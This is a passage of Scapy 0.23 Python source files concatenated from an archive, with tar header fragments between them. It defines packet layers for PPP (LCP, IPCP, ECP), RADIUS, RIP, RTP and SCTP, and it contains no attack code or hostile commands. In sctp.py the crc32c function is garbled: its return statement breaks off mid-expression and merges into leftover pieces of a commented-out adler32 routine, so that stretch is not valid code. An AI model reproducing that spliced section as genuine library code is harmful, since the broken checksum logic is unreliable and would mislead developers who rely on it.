- Protocol Control [Batchelder]", 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", 0x8289: "Multichannel Flow Treatment Protocol [McCann]", 0xc021: "Link Control Protocol", 0xc023: "Password Authentication Protocol", 0xc025: "Link Quality Report", 0xc027: "Shiva Password Authentication Protocol", 0xc029: "CallBack Control Protocol (CBCP)", 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", 0xc02d: "BAP [RFC2125]", 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", 0xc081: "Container Control Protocol [KEN]", 0xc223: "Challenge Handshake Authentication Protocol", 0xc225: "RSA Authentication Protocol [Narayana]", 0xc227: "Extensible Authentication Protocol [RFC2284]", 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", 0xc26f: "Stampede Bridging Authorization Protocol", 0xc281: "Proprietary Authentication Protocol [KEN]", 0xc283: "Proprietary Authentication Protocol [Tackabury]", 0xc481: "Proprietary Node ID Authentication Protocol [KEN]"} class HDLC(Packet): fields_desc = [ XByteField("address",0xff), XByteField("control",0x03) ] class PPP(Packet): name = "PPP Link Layer" fields_desc = [ ShortEnumField("proto", 0x0021, _PPP_proto) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and _pkt[0] == 0xff: cls = HDLC return cls _PPP_conftypes = { 1:"Configure-Request", 2:"Configure-Ack", 3:"Configure-Nak", 4:"Configure-Reject", 5:"Terminate-Request", 6:"Terminate-Ack", 7:"Code-Reject", 8:"Protocol-Reject", 9:"Echo-Request", 10:"Echo-Reply", 11:"Discard-Request", 12:"Identification", # RFC 1570 13:"Time-Remaining", # RFC 1570 14:"Reset-Request", 15:"Reset-Ack", } ### PPP LCP (RFC 1661) _PPP_lcpopttypes = {1: "Maximum-Receive-Unit", 2: "Async-Control-Character-Map", # RFC 1548 3: "Authentication-Protocol", 4: "Quality-Protocol", 5: "Magic-Number", 7: "Protocol-Field-Compression", 8: "Address-and-Control-Field-Compression"} class PPP_LCP_Option(Packet): name = "PPP LCP Option" fields_desc = [ByteEnumField("type", None, _PPP_lcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p, x:x+2), StrLenField("data", b"", length_from=lambda p:max(0, p.len-2))] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: #o = ord(_pkt[0]) o = (_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_LCP_Option_MRU(PPP_LCP_Option): name = "PPP LCP Option: Maximum Receive Unit" fields_desc = [ByteEnumField("type", 1, _PPP_lcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p, x:x+2), ShortField("data", 1500)] class PPP_LCP_Option_AUTH(PPP_LCP_Option): name = "PPP LCP Option: Authentication Protocol" fields_desc = [ByteEnumField("type", 3, _PPP_lcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p, x:x+2), ShortEnumField("data", None, {0xc023: "PAP", 0xc223: "CHAP"})] class PPP_LCP_Option_MAGIC(PPP_LCP_Option): name = "PPP LCP Option: Magic Number" fields_desc = [ByteEnumField("type", 5, _PPP_lcpopttypes), ByteField("len", 6), XIntField("data", None)] class PPP_LCP(Packet): fields_desc = [ByteEnumField("code", 1, _PPP_conftypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda p, x:x+4), ConditionalField(PacketListField("options", [], PPP_LCP_Option, length_from=lambda p:p.len-4), lambda p:(p.code<5 or p.code==7)), ConditionalField(ShortEnumField("rejected_proto", None, _PPP_proto), lambda p:p.code==8), ConditionalField(XIntField("magic_number", None), lambda p:p.code>8)] ### PPP IPCP stuff (RFC 1332) # All IPCP options are defined below (names and associated classes) _PPP_ipcpopttypes = { 1:"IP-Addresses (Deprecated)", 2:"IP-Compression-Protocol", 3:"IP-Address", 4:"Mobile-IPv4", # not implemented, present for completeness 129:"Primary-DNS-Address", 130:"Primary-NBNS-Address", 131:"Secondary-DNS-Address", 132:"Secondary-NBNS-Address"} class PPP_IPCP_Option(Packet): name = "PPP IPCP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", b"", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return b"",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: #o = ord(_pkt[0]) o = (_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): name = "PPP IPCP Option: IP Address" fields_desc = [ ByteEnumField("type" , 3 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS1(PPP_IPCP_Option): name = "PPP IPCP Option: DNS1 Address" fields_desc = [ ByteEnumField("type" , 129 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_DNS2(PPP_IPCP_Option): name = "PPP IPCP Option: DNS2 Address" fields_desc = [ ByteEnumField("type" , 131 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS1 Address" fields_desc = [ ByteEnumField("type" , 130 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option): name = "PPP IPCP Option: NBNS2 Address" fields_desc = [ ByteEnumField("type" , 132 , _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), IPField("data","0.0.0.0"), ConditionalField(StrLenField("garbage","", length_from=lambda pkt:pkt.len-6), lambda p:p.len!=6) ] class PPP_IPCP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_IPCP_Option, length_from=lambda p:p.len-4,) ] ### ECP _PPP_ecpopttypes = { 0:"OUI", 1:"DESE", } class PPP_ECP_Option(Packet): name = "PPP ECP Option" fields_desc = [ ByteEnumField("type" , None , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+2), StrLenField("data", "", length_from=lambda p:max(0,p.len-2)) ] def extract_padding(self, pay): return b"",pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: #o = ord(_pkt[0]) o = (_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_ECP_Option_OUI(PPP_ECP_Option): fields_desc = [ ByteEnumField("type" , 0 , _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda p,x:x+6), StrFixedLenField("oui","",3), ByteField("subtype",0), StrLenField("data", "", length_from=lambda p:p.len-6) ] class PPP_ECP(Packet): fields_desc = [ ByteEnumField("code" , 1, _PPP_conftypes), XByteField("id", 0 ), FieldLenField("len" , None, fmt="H", length_of="options", adjust=lambda p,x:x+4 ), PacketListField("options", [], PPP_ECP_Option, length_from=lambda p:p.len-4,) ] bind_layers( Ether, PPPoED, type=0x8863) bind_layers( Ether, PPPoE, type=0x8864) bind_layers( CookedLinux, PPPoED, proto=0x8863) bind_layers( CookedLinux, PPPoE, proto=0x8864) bind_layers( PPPoE, PPP, code=0) bind_layers( HDLC, PPP, ) bind_layers( PPP, IP, proto=33) bind_layers( PPP, PPP_LCP, proto=0xc021) bind_layers( PPP, PPP_IPCP, proto=0x8021) bind_layers( PPP, PPP_ECP, proto=0x8053) bind_layers( Ether, PPP_LCP, type=0xc021) bind_layers( Ether, PPP_IPCP, type=0x8021) bind_layers( Ether, PPP_ECP, type=0x8053) scapy-0.23/scapy/layers/radius.py000066400000000000000000000063101320561231000170250ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RADIUS (Remote Authentication Dial In User Service) """ import struct from scapy.packet import * from scapy.fields import * class Radius(Packet): name = "Radius" fields_desc = [ ByteEnumField("code", 1, {1: "Access-Request", 2: "Access-Accept", 3: "Access-Reject", 4: "Accounting-Request", 5: "Accounting-Accept", 6: "Accounting-Status", 7: "Password-Request", 8: "Password-Ack", 9: "Password-Reject", 10: "Accounting-Message", 11: "Access-Challenge", 12: "Status-Server", 13: "Status-Client", 21: "Resource-Free-Request", 22: "Resource-Free-Response", 23: "Resource-Query-Request", 24: "Resource-Query-Response", 25: "Alternate-Resource-Reclaim-Request", 26: "NAS-Reboot-Request", 27: "NAS-Reboot-Response", 29: "Next-Passcode", 30: "New-Pin", 31: "Terminate-Session", 32: "Password-Expired", 33: "Event-Request", 34: "Event-Response", 40: "Disconnect-Request", 41: "Disconnect-ACK", 42: "Disconnect-NAK", 43: "CoA-Request", 44: "CoA-ACK", 45: "CoA-NAK", 50: "IP-Address-Allocate", 51: "IP-Address-Release", 253: "Experimental-use", 254: "Reserved", 255: "Reserved"} ), ByteField("id", 0), ShortField("len", None), StrFixedLenField("authenticator","",16) ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:2]+struct.pack("!H",l)+p[4:] return p scapy-0.23/scapy/layers/rip.py000066400000000000000000000053171320561231000163360ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RIP (Routing Information Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class RIP(Packet): name = "RIP header" fields_desc = [ ByteEnumField("cmd", 1, {1:"req", 2:"resp", 3:"traceOn", 4:"traceOff", 5:"sun", 6:"trigReq", 7:"trigResp", 8:"trigAck", 9:"updateReq", 10:"updateResp", 11:"updateAck"}), ByteField("version", 1), ShortField("null", 0), ] def guess_payload_class(self, payload): if payload[:2] == "\xff\xff": return RIPAuth else: return Packet.guess_payload_class(self, payload) class RIPEntry(RIP): name = "RIP entry" fields_desc = [ ShortEnumField("AF", 2, {2:"IP"}), ShortField("RouteTag", 0), IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), IPField("nextHop", "0.0.0.0"), IntEnumField("metric", 1, {16:"Unreach"}), ] class RIPAuth(Packet): name = "RIP authentication" fields_desc = [ ShortEnumField("AF", 0xffff, {0xffff:"Auth"}), ShortEnumField("authtype", 2, {1:"md5authdata", 2:"simple", 3:"md5"}), ConditionalField(StrFixedLenField("password", None, 16), lambda pkt: pkt.authtype == 2), ConditionalField(ShortField("digestoffset", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("keyid", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 3), ConditionalField(IntField("seqnum", 0), lambda pkt: pkt.authtype == 3), ConditionalField(StrFixedLenField("zeropad", None, 8), lambda pkt: pkt.authtype == 3), ConditionalField(StrLenField("authdata", None, length_from=lambda pkt: pkt.md5datalen), lambda pkt: pkt.authtype == 1) ] def pre_dissect(self, s): if s[2:4] == "\x00\x01": self.md5datalen = len(s) - 4 return s bind_layers( UDP, RIP, sport=520) bind_layers( UDP, RIP, dport=520) bind_layers( RIP, RIPEntry, ) bind_layers( RIPEntry, RIPEntry, ) bind_layers( RIPAuth, RIPEntry, ) scapy-0.23/scapy/layers/rtp.py000066400000000000000000000026311320561231000163450ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RTP (Real-time Transport Protocol). """ from scapy.packet import * from scapy.fields import * _rtp_payload_types = { # http://www.iana.org/assignments/rtp-parameters 0: 'G.711 PCMU', 3: 'GSM', 4: 'G723', 5: 'DVI4', 6: 'DVI4', 7: 'LPC', 8: 'PCMA', 9: 'G722', 10: 'L16', 11: 'L16', 12: 'QCELP', 13: 'CN', 14: 'MPA', 15: 'G728', 16: 'DVI4', 17: 'DVI4', 18: 'G729', 25: 'CelB', 26: 'JPEG', 28: 'nv', 31: 'H261', 32: 'MPV', 33: 'MP2T', 34: 'H263' } class RTP(Packet): name="RTP" fields_desc = [ BitField('version', 2, 2), BitField('padding', 0, 1), BitField('extension', 0, 1), BitFieldLenField('numsync', None, 4, count_of='sync'), BitField('marker', 0, 1), BitEnumField('payloadtype', 0, 7, _rtp_payload_types), ShortField('sequence', 0), IntField('timestamp', 0), IntField('sourcesync', 0), FieldListField('sync', [], IntField("id",0), count_from=lambda pkt:pkt.numsync) ] scapy-0.23/scapy/layers/sctp.py000066400000000000000000000431251320561231000165140ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ SCTP (Stream Control Transmission Protocol). """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP from scapy.layers.inet6 import IP6Field IPPROTO_SCTP=132 # crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) crc32c_table = [ 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, ] def crc32c(buf): crc = 0xffffffff for c in buf: #crc = (crc>>8) ^ crc32c_table[(crc^(ord(c))) & 0xFF] crc = (crc>>8) ^ crc32c_table[(crc^(c)) & 0xFF] crc = (~crc) & 0xffffffff # reverse endianness return struct.unpack(">I",struct.pack("> 16) & 0xffff print(s1,s2) for c in buf: print(ord(c)) s1 = (s1 + ord(c)) % BASE s2 = (s2 + s1) % BASE print(s1,s2) return (s2 << 16) + s1 def sctp_checksum(buf): return update_adler32(1, buf) """ sctpchunktypescls = { 0 : "SCTPChunkData", 1 : "SCTPChunkInit", 2 : "SCTPChunkInitAck", 3 : "SCTPChunkSACK", 4 : "SCTPChunkHeartbeatReq", 5 : "SCTPChunkHeartbeatAck", 6 : "SCTPChunkAbort", 7 : "SCTPChunkShutdown", 8 : "SCTPChunkShutdownAck", 9 : "SCTPChunkError", 10 : "SCTPChunkCookieEcho", 11 : "SCTPChunkCookieAck", 14 : "SCTPChunkShutdownComplete", } sctpchunktypes = { 0 : "data", 1 : "init", 2 : "init-ack", 3 : "sack", 4 : "heartbeat-req", 5 : "heartbeat-ack", 6 : "abort", 7 : "shutdown", 8 : "shutdown-ack", 9 : "error", 10 : "cookie-echo", 11 : "cookie-ack", 14 : "shutdown-complete", } sctpchunkparamtypescls = { 1 : "SCTPChunkParamHearbeatInfo", 5 : "SCTPChunkParamIPv4Addr", 6 : "SCTPChunkParamIPv6Addr", 7 : "SCTPChunkParamStateCookie", 8 : "SCTPChunkParamUnrocognizedParam", 9 : "SCTPChunkParamCookiePreservative", 11 : "SCTPChunkParamHostname", 12 : "SCTPChunkParamSupportedAddrTypes", 32768 : "SCTPChunkParamECNCapable", 49152 : "SCTPChunkParamFwdTSN", 49158 : "SCTPChunkParamAdaptationLayer", } sctpchunkparamtypes = { 1 : "heartbeat-info", 5 : "IPv4", 6 : "IPv6", 7 : "state-cookie", 8 : "unrecognized-param", 9 : "cookie-preservative", 11 : "hostname", 12 : "addrtypes", 32768 : "ecn-capable", 49152 : "fwd-tsn-supported", 49158 : "adaptation-layer", } ############## SCTP header # Dummy class to guess payload type (variable parameters) class _SCTPChunkGuessPayload: def default_payload_class(self,p): if len(p) < 4: return conf.padding_layer else: t = p[0] return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer) class SCTP(_SCTPChunkGuessPayload, Packet): fields_desc = [ ShortField("sport", None), ShortField("dport", None), XIntField("tag", None), XIntField("chksum", None), ] def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 return 1 def post_build(self, p, pay): p += pay if self.chksum is None: crc = crc32c(bytes(p)) p = p[:8]+struct.pack(">I", crc)+p[12:] return p ############## SCTP Chunk variable params class ChunkParamField(PacketListField): islist = 1 holds_packets=1 def __init__(self, name, default, count_from=None, length_from=None): PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from) def m2i(self, p, m): cls = conf.raw_layer if len(m) >= 4: #t = ord(m[0]) * 256 + ord(m[1]) t = (m[0]) * 256 + (m[1]) cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer) return cls(m) # dummy class to avoid Raw() after Chunk params class _SCTPChunkParam: def extract_padding(self, s): return b"",s[:] class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 1, sctpchunkparamtypes), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+4), PadField(StrLenField("data", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"),] class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 5, sctpchunkparamtypes), ShortField("len", 8), IPField("addr","127.0.0.1"), ] class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 6, sctpchunkparamtypes), ShortField("len", 20), IP6Field("addr","::1"), ] class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 7, sctpchunkparamtypes), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"),] class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 8, sctpchunkparamtypes), FieldLenField("len", None, length_of="param", adjust = lambda pkt,x:x+4), PadField(StrLenField("param", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"),] class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 9, sctpchunkparamtypes), ShortField("len", 8), XIntField("sug_cookie_inc", None), ] class SCTPChunkParamHostname(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 11, sctpchunkparamtypes), FieldLenField("len", None, length_of="hostname", adjust = lambda pkt,x:x+4), PadField(StrLenField("hostname", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"), ] class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 12, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr_type_list", adjust = lambda pkt,x:x+4), PadField(FieldListField("addr_type_list", [ "IPv4" ], ShortEnumField("addr_type", 5, sctpchunkparamtypes), length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"), ] class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 32768, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49152, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49158, sctpchunkparamtypes), ShortField("len", 8), XIntField("indication", None), ] ############## SCTP Chunks class SCTPChunkData(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 0, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+16), XIntField("tsn", None), XShortField("stream_id", None), XShortField("stream_seq", None), XIntField("proto_id", None), PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len-16), 4, padwith=b"\x00"), ] class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class SCTPChunkInitAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 2, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class GapAckField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def i2m(self, pkt, x): if x is None: return "\0\0\0\0" sta, end = map(int, x.split(":")) args = tuple([">HH", sta, end]) return struct.pack(*args) def m2i(self, pkt, x): return "%d:%d"%(struct.unpack(">HH", x)) def any2i(self, pkt, x): if type(x) is tuple and len(x) == 2: return "%d:%d"%(x) return x class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 3, sctpchunktypes), XByteField("flags", None), ShortField("len", None), XIntField("cumul_tsn_ack", None), IntField("a_rwnd", None), FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), FieldListField("gap_ack_list", [ ], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), FieldListField("dup_tsn_list", [ ], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), ] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack(">H", len(p)) + p[4:] return p+pay class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 4, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkHeartbeatAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 5, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 6, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"), ] class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 7, sctpchunktypes), XByteField("flags", None), ShortField("len", 8), XIntField("cumul_tsn_ack", None), ] class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 8, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkError(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 9, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"), ] class SCTPChunkCookieEcho(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 10, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", b"", length_from=lambda pkt: pkt.len-4), 4, padwith=b"\x00"), ] class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 11, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 12, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), ShortField("len", 4), ] bind_layers( IP, SCTP, proto=IPPROTO_SCTP) scapy-0.23/scapy/layers/sebek.py000066400000000000000000000110621320561231000166270ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## 